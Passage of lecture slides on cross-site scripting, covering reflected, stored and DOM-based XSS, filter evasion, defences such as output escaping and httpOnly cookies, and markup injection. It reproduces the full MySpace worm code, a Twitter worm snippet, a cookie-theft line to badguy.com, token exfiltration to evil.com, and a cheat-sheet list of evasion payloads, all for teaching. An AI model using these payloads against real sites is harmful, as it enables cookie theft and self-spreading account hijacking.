with\u003Cbr\u003E\u003Chtml\u003EWelcome, dear Bob\u003C\u002Fhtml\u003E\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003ECross-Site Scripting (XSS)\u003Cbr\u003E\u003Cp\u003Evictim’s browser\u003Cbr\u003E\u003Cp\u003Enaive.com\u003Cbr\u003E\u003Cp\u003Eevil.com\u003Cbr\u003E\u003Cp\u003EForces victim’s browser to\u003Cbr\u003Ecall hello.cgi on naive.com\u003Cbr\u003Ewith this script as “name”\u003Cbr\u003E\u003Cp\u003Ehello.cgi\u003Cbr\u003Eechoes\u003Cbr\u003Einput in\u003Cbr\u003Egenerated\u003Cbr\u003EHTML page\u003Cbr\u003E\u003Cp\u003Ehello.cgi\u003Cbr\u003E\u003Cp\u003EWhat is the ORIGIN\u003Cbr\u003Eof this script?\u003Cbr\u003E\u003Cp\u003EHow about this one?\u003Cbr\u003E\u003Cp\u003EWhy does the browser allow this?\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EUser is tricked into visiting an honest website\u003Cbr\u003EPhishing email, link in a banner ad, comment in a blog\u003Cbr\u003EBug in website code causes it to echo to the user’s browser an attack script\u003Cbr\u003EThe origin of this script is now the website itself!\u003Cbr\u003EScript can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites\u003Cbr\u003EThis violates the “spirit” of the same origin policy, but not the letter\u003Cbr\u003E\u003Cp\u003EReflected XSS\u003Cbr\u003E","\u003Cp\u003EBasic Pattern for Reflected XSS\u003Cbr\u003E\u003Cp\u003EAttack server\u003Cbr\u003E\u003Cp\u003EServer victim \u003Cbr\u003E\u003Cp\u003EUser victim\u003Cbr\u003E\u003Cp\u003Evisit web site\u003Cbr\u003E\u003Cp\u003Ereceive malicious page\u003Cbr\u003E\u003Cp\u003Eclick on link\u003Cbr\u003E\u003Cp\u003Eecho user input\u003Cbr\u003E\u003Cp\u003E1\u003Cbr\u003E\u003Cp\u003E2\u003Cbr\u003E\u003Cp\u003E3\u003Cbr\u003E\u003Cp\u003Esend valuable data\u003Cbr\u003E\u003Cp\u003E5\u003Cbr\u003E\u003Cp\u003E4\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EAdobe PDF Viewer (before version 7.9)\u003Cbr\u003E\u003Cp\u003EPDF documents execute JavaScript code \u003Cbr\u003Ehttp:\u002F\u002Fpath\u002Fto\u002Fpdf\u002Ffile.pdf#whatever_name_you_want=javascript:code_here\u003Cbr\u003EThe “origin” of this injected code is the domain where PDF file is hosted\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EAttacker locates a PDF file hosted on site.com \u003Cbr\u003EAttacker creates a URL pointing to the PDF, with JavaScript malware in the fragment portion\u003Cbr\u003Ehttp:\u002F\u002Fsite.com\u002Fpath\u002Fto\u002Ffile.pdf#s=javascript:malcode\u003Cbr\u003EAttacker entices a victim to click on the link \u003Cbr\u003EIf the victim has Adobe Acrobat Reader Plugin 7.0.x or less, malware executes\u003Cbr\u003EIts “origin” is site.com, so it can change content, steal cookies from site.com\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EXSS Against PDF Viewer\u003Cbr\u003E","\u003Cp\u003ENot Scary Enough?\u003Cbr\u003E\u003Cp\u003EPDF files on the local filesystem:\r\n\r\nfile:\u002F\u002F\u002FC:\u002FProgram%20Files\u002FAdobe\u002FAcrobat%207.0\u002FResource\u002FENUtxt.pdf#blah=javascript:alert(\"XSS\");\r\n\r\nJavaScript malware now runs in local context with the ability to read and write local files ...\r\n\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EUser-created content\u003Cbr\u003ESocial sites, blogs, forums, wikis\u003Cbr\u003EWhen visitor loads the page, website displays the content and visitor’s browser executes the script\u003Cbr\u003EMany sites try to filter out scripts from user content, but this is difficult!\u003Cbr\u003E\u003Cp\u003EWhere Malicious Scripts Lurk\u003Cbr\u003E","\u003Cp\u003EStored XSS\u003Cbr\u003E\u003Cp\u003EAttack server\u003Cbr\u003E\u003Cp\u003EServer victim \u003Cbr\u003E\u003Cp\u003EUser victim\u003Cbr\u003E\u003Cp\u003EInject malicious script\u003Cbr\u003E\u003Cp\u003Erequest content\u003Cbr\u003E\u003Cp\u003Ereceive malicious script\u003Cbr\u003E\u003Cp\u003E1\u003Cbr\u003E\u003Cp\u003E2\u003Cbr\u003E\u003Cp\u003E3\u003Cbr\u003E\u003Cp\u003Esteal valuable data\u003Cbr\u003E\u003Cp\u003E4\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ETwitter Worm (2009)\u003Cbr\u003E\u003Cp\u003ECan save URL-encoded data into Twitter profile\u003Cbr\u003EData not escaped when profile is displayed\u003Cbr\u003EResult: StalkDaily XSS exploit\u003Cbr\u003EIf view an infected profile, script infects your own profile\u003Cbr\u003E\tvar update = urlencode(\"Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! \");\r\nvar xss = urlencode('http:\u002F\u002Fwww.stalkdaily.com\"\u003E\u003C\u002Fa\u003E\u003Cscript src=\"http:\u002F\u002Fmikeyylolz.uuuq.com\u002Fx.js\"\u003E\u003C\u002Fscript\u003E\u003Cscript src=\"http:\u002F\u002Fmikeyylolz.uuuq.com\u002Fx.js\"\u003E\u003C\u002Fscript\u003E\u003Ca ');\u003Cbr\u003E var ajaxConn = new XHConn();\r\najaxConn.connect(“\u002Fstatus\u002Fupdate\", \"POST\", \"authenticity_token=\"+authtoken+\"&status=\"+update+\"&tab=home&update=update\");\r\najaxConn1.connect(“\u002Faccount\u002Fsettings\", \"POST\", \"authenticity_token=\"+authtoken+\"&user[url]=\"+xss+\"&tab=home&update=update\")\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003Ehttp:\u002F\u002Fdcortesi.com\u002F2009\u002F04\u002F11\u002Ftwitter-stalkdaily-worm-postmortem\u002F\u003Cbr\u003E","\u003Cp\u003EXSS in the Wild\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003Ehttp:\u002F\u002Fxssed.com\u002Farchive\u003Cbr\u003E","\u003Cp\u003EStored XSS Using Images\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003ESuppose pic.jpg on web server contains HTML\u003Cbr\u003ERequest for http:\u002F\u002Fsite.com\u002Fpic.jpg results in:\u003Cbr\u003E\t\t\t HTTP\u002F1.1 200 OK\u003Cbr\u003E\t\t\t …\u003Cbr\u003E\t\t\t Content-Type: image\u002Fjpeg\u003Cbr\u003E\t\t\t \u003Chtml\u003E fooled ya \u003C\u002Fhtml\u003E\u003Cbr\u003EIE will render this as HTML (despite Content-Type)\u003Cbr\u003EPhoto-sharing sites\u003Cbr\u003EWhat if attacker uploads an “image” that is a script?\u003Cbr\u003E","\u003Cp\u003EUsing Login XSRF for XSS\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EWeb 2.0\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003E[Alex Stamos]\u003Cbr\u003E\u003Cp\u003EMalicious scripts may be …\u003Cbr\u003EContained in arguments of dynamically created JavaScript\u003Cbr\u003EContained in JavaScript arrays\u003Cbr\u003EDynamically written into the DOM\u003Cbr\u003E","\u003Cp\u003EXSS of the Third Kind\u003Cbr\u003E\u003Cp\u003EScript builds webpage DOM in the browser\u003Cbr\u003E\t\u003CHTML\u003E\u003CTITLE\u003EWelcome!\u003C\u002FTITLE\u003E\r\nHi \u003CSCRIPT\u003E\r\nvar pos = document.URL.indexOf(\"name=\") + 5; document.write(document.URL.substring(pos,document.URL.length));\r\n\u003C\u002FSCRIPT\u003E\r\n\u003C\u002FHTML\u003E\u003Cbr\u003EWorks fine with this URL\u003Cbr\u003Ehttp:\u002F\u002Fwww.example.com\u002Fwelcome.html?name=Joe\u003Cbr\u003EBut what about this one?\u003Cbr\u003Ehttp:\u002F\u002Fwww.example.com\u002Fwelcome.html?name=\r\n\u003Cscript\u003Ealert(document.cookie)\u003C\u002Fscript\u003E\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EAttack code does not appear in HTML sent over network\u003Cbr\u003E","\u003Cp\u003EXSS in AJAX (1)\u003Cbr\u003E\u003Cp\u003EDownstream JavaScript arrays\u003Cbr\u003E\tvar downstreamArray = new Array(); \u003Cbr\u003E\tdownstreamArray[0] = “42\"; doBadStuff(); var bar=“ajacked\";\u003Cbr\u003EWon’t be detected by a naïve filter\u003Cbr\u003ENo \u003C\u003E, “script”, onmouseover, etc. \u003Cbr\u003EJust need to break out of double quotes\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003E[Alex Stamos]\u003Cbr\u003E","\u003Cp\u003EXSS in AJAX (2)\u003Cbr\u003E\u003Cp\u003EJSON written into DOM by client-side script\u003Cbr\u003Evar inboundJSON = {\"people\": [\u003Cbr\u003E{\"name\": \"Joel\", \"address\": “\u003Cscript\u003EbadStuff();\u003C\u002Fscript\u003E\", \u003Cbr\u003E \"phone\": \"911\"} ] };\u003Cbr\u003EsomeObject.innerHTML(inboundJSON.people[0].address);\t \u002F\u002F Vulnerable\u003Cbr\u003Edocument.write(inboundJSON.people[0].address);\t \u002F\u002F Vulnerable \u003Cbr\u003EsomeObject.innerText(inboundJSON.people[0].address);\t \u002F\u002F Safe\u003Cbr\u003EXSS may be already in DOM!\u003Cbr\u003Edocument.url, document.location, document.referer\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003E[Alex Stamos]\u003Cbr\u003E","\u003Cp\u003EBackend AJAX Requests\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003E[Alex Stamos]\u003Cbr\u003E\u003Cp\u003E“Backend” AJAX requests\u003Cbr\u003EClient-side script retrieves data from the server using XMLHttpRequest, uses it to build webpage in browser\u003Cbr\u003EThis data is meant to be converted into HTML by the script, never intended to be seen directly in the browser\u003Cbr\u003EExample: WebMail.com\u003Cbr\u003ERequest:\u003Cbr\u003EGET http:\u002F\u002Fwww.webmail.com\u002Fmymail\u002Fgetnewmessages.aspx\u003Cbr\u003EResponse:\u003Cbr\u003Evar messageArray = new Array(); \u003Cbr\u003EmessageArray[0] = “This is an email subject”;\u003Cbr\u003E\u003Cp\u003ERaw data, intended to be converted into HTML inside the browser by the client-side script\u003Cbr\u003E","\u003Cp\u003EXSS in AJAX (3)\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003E[Alex Stamos]\u003Cbr\u003E\u003Cp\u003EAttacker sends the victim an email with a script:\u003Cbr\u003EEmail is parsed from the data array, written into HTML with innerText(), displayed harmlessly in the browser\u003Cbr\u003EAttacker sends the victim an email with a link to backend request and the victim clicks the link:\u003Cbr\u003EThe browser will issue this request:\u003Cbr\u003EGET http:\u002F\u002Fwww.webmail.com\u002Fmymail\u002Fgetnewmessages.aspx\u003Cbr\u003E… and display this text:\u003Cbr\u003Evar messageArray = new Array(); \u003Cbr\u003EmessageArray[0] = “\u003Cscript\u003Evar i = new Image(); \u003Cbr\u003Ei.src=‘http:\u002F\u002Fbadguy.com\u002F’ + document.cookie;\u003C\u002Fscript\u003E”\u003Cbr\u003E","\u003Cp\u003EHow to Protect Yourself\u003Cbr\u003E\u003Cp\u003EEnsure that your app validates all headers, cookies, query strings, form fields, and hidden fields against a rigorous specification of what should be allowed.\u003Cbr\u003EDo not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content. \u003Cbr\u003EWe strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete. \u003Cbr\u003E\u003Cp\u003ESource: Open Web Application Security Project\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EWhat Does This Script Do?\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EAny user input and client-side data must be preprocessed before it is used inside HTML\u003Cbr\u003ERemove \u002F encode (X)HTML special characters\u003Cbr\u003EUse a good escaping library\u003Cbr\u003EOWASP ESAPI (Enterprise Security API)\u003Cbr\u003EMicrosoft’s AntiXSS\u003Cbr\u003EIn PHP, htmlspecialchars(string) will replace all special characters with their HTML codes\u003Cbr\u003E‘ becomes &#039; “ becomes &quot; & becomes &amp;\u003Cbr\u003EIn ASP.NET, Server.HtmlEncode(string)\u003Cbr\u003E\u003Cp\u003EPreventing Cross-Site Scripting\u003Cbr\u003E","\u003Cp\u003EEvading XSS Filters\u003Cbr\u003E\u003Cp\u003EPreventing injection of scripts into HTML is hard!\u003Cbr\u003EBlocking “\u003C” and “\u003E” is not enough\u003Cbr\u003EEvent handlers, stylesheets, encoded inputs (%3C), etc.\u003Cbr\u003EphpBB allowed simple HTML tags like \u003Cb\u003E\u003Cbr\u003E \u003Cb c=“\u003E” onmouseover=“script” x=“\u003Cb ”\u003EHello\u003Cb\u003E\u003Cbr\u003EBeware of filter evasion tricks (XSS Cheat Sheet)\u003Cbr\u003EIf filter allows quoting (of \u003Cscript\u003E, etc.), beware of malformed quoting: \u003CIMG \"\"\"\u003E\u003CSCRIPT\u003Ealert(\"XSS\")\u003C\u002FSCRIPT\u003E\"\u003E\u003Cbr\u003ELong UTF-8 encoding\u003Cbr\u003EScripts are not only in \u003Cscript\u003E:\u003Cbr\u003E \u003Ciframe src=`https:\u002F\u002Fbank.com\u002Flogin’ onload=`steal()’\u003E\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EUsers can post HTML on their MySpace pages\u003Cbr\u003EMySpace does not allow scripts in users’ HTML\u003Cbr\u003ENo \u003Cscript\u003E, \u003Cbody\u003E, onclick, \u003Ca href=javascript:\u002F\u002F\u003E\u003Cbr\u003E… but does allow \u003Cdiv\u003E tags for CSS. K00L!\u003Cbr\u003E\u003Cdiv style=“background:url(‘javascript:alert(1)’)”\u003E\u003Cbr\u003EBut MySpace will strip out “javascript”\u003Cbr\u003EUse “java\u003CNEWLINE\u003Escript” instead\u003Cbr\u003EBut MySpace will strip out quotes\u003Cbr\u003EConvert from decimal instead: \u003Cbr\u003E alert('double quote: ' + String.fromCharCode(34))\u003Cbr\u003E\u003Cp\u003EMySpace Worm (1)\u003Cbr\u003E\u003Cp\u003Ehttp:\u002F\u002Fnamb.la\u002Fpopular\u002Ftech.html\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003E“There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”\u003Cbr\u003EStarted on Samy Kamkar’s MySpace page, everybody who visited an infected page became infected and added “samy” as a friend and hero\u003Cbr\u003E“samy” was adding 1,000 friends \u003Cbr\u003E per second at peak\u003Cbr\u003E5 hours later: 1,005,831 friends\u003Cbr\u003E\u003Cp\u003EMySpace Worm (2)\u003Cbr\u003E\u003Cp\u003Ehttp:\u002F\u002Fnamb.la\u002Fpopular\u002Ftech.html\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003ECode of the MySpace Worm\u003Cbr\u003E\u003Cp\u003Ehttp:\u002F\u002Fnamb.la\u002Fpopular\u002Ftech.html\u003Cbr\u003E\u003Cp\u003E\u003Cdiv id=mycode style=\"BACKGROUND: url('java\u003Cbr\u003Escript:eval(document.all.mycode.expr)')\" expr=\"var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var\u003Cbr\u003ED=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU)\u003Cbr\u003E{M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var\u003Cbr\u003EF=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O\u003CF.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var\u003Cbr\u003EAS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http:\u002F\u002F\u003Cbr\u003Ewww.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}\u003Cbr\u003Efunction nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O\u003E0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!\u003Cbr\u003E=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return\u003Cbr\u003Efalse}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application\u002Fx-www-formurlencoded');\u003Cbr\u003EJ.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var\u003Cbr\u003ES=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}\u003Cbr\u003Efunction getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var\u003Cbr\u003EX=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e)\u003Cbr\u003E{Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}\u003Cbr\u003Ecatch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var\u003Cbr\u003EAE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero.\u003Cbr\u003E\u003Cd'+'iv id='+AE+'D'+'IV\u003E'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','\u003C\u002F\u003Cbr\u003Etd\u003E');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new\u003Cbr\u003EArray();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('\u002Findex.cfm?\u003Cbr\u003Efuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var\u003Cbr\u003EAU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new\u003Cbr\u003EArray();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('\u002Findex.cfm?\u003Cbr\u003Efuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='\u002Findex.cfm?\u003Cbr\u003Efuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('\u002Findex.cfm?\u003Cbr\u003Efuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var\u003Cbr\u003EAU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new\u003Cbr\u003EArray();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('\u002Findex.cfm?\u003Cbr\u003Efuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}\u003Cbr\u003Eeval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application\u002Fx-www-formurlencoded');\u003Cbr\u003Exmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}\"\u003E\u003C\u002FDIV\u003E\u003Cbr\u003E","\u003Cp\u003E31 Flavors of XSS\u003Cbr\u003E\u003Cp\u003E\u003CBODY ONLOAD=alert('XSS')\u003E\u003Cbr\u003E¼script¾alert(¢XSS¢)¼\u002Fscript¾\u003Cbr\u003E\u003CXML ID=\"xss\"\u003E\u003CI\u003E\u003CB\u003E&lt;IMG SRC=\"javas\u003C!-- --\u003Ecript:alert('XSS')\"&gt;\u003C\u002FB\u003E\u003C\u002FI\u003E\u003C\u002FXML\u003E\u003Cbr\u003E\u003CSTYLE\u003EBODY{-moz-binding:url(\"http:\u002F\u002Fha.ckers.org\u002Fxssmoz.xml#xss\")}\u003C\u002FSTYLE\u003E\u003Cbr\u003E\u003CSPAN DATASRC=\"#xss\" DATAFLD=\"B\" \u003CDIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\"\u003E\u003Cbr\u003E\u003CEMBED SRC=\"data:image\u002Fsvg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image\u002Fsvg+xml\" AllowScriptAccess=\"always\"\u003E\u003C\u002FEMBED\u003E\u003Cbr\u003ENote: all of the above are browser-dependent\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003ESource: XSS Filter Evasion Cheat Sheet\u003Cbr\u003E\u003Cp\u003EWhat do you think is this code doing?\u003Cbr\u003E","\u003Cp\u003EProblems with Filters\u003Cbr\u003E\u003Cp\u003ESuppose a filter removes \u003Cscript\u003Cbr\u003E\u003Cscript src=“…” becomes\u003Cbr\u003E \tsrc=“…”\u003Cbr\u003E\u003Cscr\u003Cscriptipt src=“…” becomes\u003Cbr\u003E\t\t\u003Cscript src=“…”\u003Cbr\u003ERemoving special characters\u003Cbr\u003Ejava&#x09;script – blocked, &#x09 is horizontal tab\u003Cbr\u003Ejava&#x26;#x09;script – becomes java&#x09;script\u003Cbr\u003EFilter transforms input into an attack! \u003Cbr\u003ENeed to loop and reapply until nothing found\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003ESimulation Errors in Filters\u003Cbr\u003E\u003Cp\u003EFilter must predict how the browser would parse a given sequence of characters… this is hard!\u003Cbr\u003ENoScript\u003Cbr\u003EDoes not know that \u002F can delimit HTML attributes\u003Cbr\u003E\u003Ca\u003Cimg\u002Fsrc\u002Fonerror=alert(1)\u002F\u002F\u003C\u003Cbr\u003EnoXSS\u003Cbr\u003EDoes not understand HTML entity encoded JavaScript\u003Cbr\u003EIE8 filter\u003Cbr\u003EDoes not use the same \u003Cbr\u003E byte-to-character decoding as the browser\u003Cbr\u003E \u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EReflective XSS Filters\u003Cbr\u003E\u003Cp\u003EIntroduced in IE 8\u003Cbr\u003EBlocks any script that appears both in the request and the response (why?)\u003Cbr\u003E http:\u002F\u002Fwww.victim.com?var=\u003Cscript\u003E alert(‘xss’)\u003Cbr\u003E \u003Cbr\u003E If \u003Cscript\u003E appears in the rendered page, the filter will replace it with \u003Csc#pt\u003E\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003EFrame busting code\u003Cbr\u003E\u003Cscript\u003E if(top.location != self.location) \u002F\u002F framebust \u003C\u002Fscript\u003E\u003Cbr\u003ERequest: \u003Cbr\u003Ehttp:\u002F\u002Fwww.victim.com?var=\u003Cscript\u003E if (top …\u003Cbr\u003E Rendered\u003Cbr\u003E\u003Csc#pt\u003E if(top.location != self.location)\u003Cbr\u003EWhat has just happened?\u003Cbr\u003ESame problem in Chrome’s XSS auditor\u003Cbr\u003E\u003Cp\u003EBusting Frame Busting\u003Cbr\u003E\u003Cp\u003Eslide \u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EhttpOnly Cookies\u003Cbr\u003E\u003Cp\u003ECookie sent over HTTP(S), but cannot be accessed by script via document.cookie\u003Cbr\u003EPrevents cookie theft via XSS\u003Cbr\u003EDoes not stop most other XSS attacks!\u003Cbr\u003E\u003Cp\u003EBrowser\u003Cbr\u003E\u003Cp\u003EServer\u003Cbr\u003E\u003Cp\u003EGET\u003Cbr\u003E\u003Cp\u003EHTTP Header:\u003Cbr\u003ESet-cookie:\t NAME=VALUE ;\u003Cbr\u003E\t httpOnly\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EPost-XSS World\u003Cbr\u003E\u003Cp\u003EXSS = script injection … or is it?\u003Cbr\u003EMany browser mechanisms to stop script injection\u003Cbr\u003EAdd-ons like NoScript\u003Cbr\u003EBuilt-in XSS filters in IE and Chrome\u003Cbr\u003EClient-side APIs like toStaticHTML() …\u003Cbr\u003EMany server-side defenses\u003Cbr\u003EBut attacker can do damage by injecting non-script HTML markup elements, too\u003Cbr\u003E\u003Cp\u003E[Zalewski. “Postcards from the Post-XSS World”]\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EDangling Markup Injection\u003Cbr\u003E\u003Cp\u003E\u003Cimg src='http:\u002F\u002Fevil.com\u002Flog.cgi? \u003Cbr\u003E…\u003Cbr\u003E\u003Cinput type=\"hidden\" name=\"xsrf_token\" value=\"12345\"\u003E \u003Cbr\u003E… ' \u003Cbr\u003E\u003C\u002Fdiv\u003E\u003Cbr\u003E\u003Cp\u003E[“Postcards from the post-XSS world”]\u003Cbr\u003E\u003Cp\u003EInjected tag\u003Cbr\u003E\u003Cp\u003EAll of this sent to evil.com as a URL \u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EAnother Variant\u003Cbr\u003E\u003Cp\u003E\u003Cform action='http:\u002F\u002Fevil.com\u002Flog.cgi'\u003E\u003Ctextarea\u003E \u003Cbr\u003E…\u003Cbr\u003E\u003Cinput type=\"hidden\" name=\"xsrf_token\" value=\"12345\"\u003E \u003Cbr\u003E… \u003Cbr\u003E\u003CEOF\u003E\u003Cbr\u003E\u003Cp\u003E[“Postcards from the post-XSS world”]\u003Cbr\u003E\u003Cp\u003ENo longer need the closing apostrophe and bracket in the page!\u003Cbr\u003EOnly works if the user submits the form …\u003Cbr\u003E… but HTML5 may adopt auto-submitting forms\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003ERerouting Existing Forms\u003Cbr\u003E\u003Cp\u003E\u003Cform action='http:\u002F\u002Fevil.com\u002Flog.cgi\u003E\u003Cbr\u003E… \u003Cbr\u003E\u003Cform action='update_profile.php'\u003E\u003Cbr\u003E…\u003Cbr\u003E\u003Cinput type=\"text\" name=\"pwd\" value=\"trustno1\"\u003E\u003Cbr\u003E…\u003Cbr\u003E\u003C\u002Fform\u003E\u003Cbr\u003E\u003Cp\u003E[“Postcards from the post-XSS world”]\u003Cbr\u003E\u003Cp\u003EForms can’t be nested, top-level occurrence takes precedence\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003ENamespace Attacks\u003Cbr\u003E\u003Cp\u003E[“Postcards from the post-XSS world”]\u003Cbr\u003E\u003Cp\u003E\u003Cimg id= 'is_public'\u003E\u003Cbr\u003E…\u003Cbr\u003Efunction retrieve_acls() { … \u003Cbr\u003Eif (response.access_mode == AM_PUBLIC) \u003Cbr\u003E\tis_public = true; \u003Cbr\u003Eelse \u003Cbr\u003E is_public = false; } \u003Cbr\u003Efunction submit_new_acls() { …\u003Cbr\u003E if (is_public) request.access_mode = AM_PUBLIC; … }\u003Cbr\u003E\u003Cp\u003EIdentifier attached to tag is automatically\u003Cbr\u003Eadded to JavaScript namespace with\u003Cbr\u003Ehigher priority than script-created variables\u003Cbr\u003E\u003Cp\u003EAlways evaluates to true\u003Cbr\u003E\u003Cp\u003EIn some browsers, can use this technique\u003Cbr\u003Eto inject numbers and strings, too\u003Cbr\u003E","\u003Cp\u003Eslide \u003Cbr\u003E\u003Cp\u003EOther Injection Possibilities\u003Cbr\u003E\u003Cp\u003E\u003Cbase href=“….”\u003E tags\u003Cbr\u003EHijack existing relative URLs\u003Cbr\u003EForms\u003Cbr\u003EIn-browser password managers detect forms with password fields, fill them out 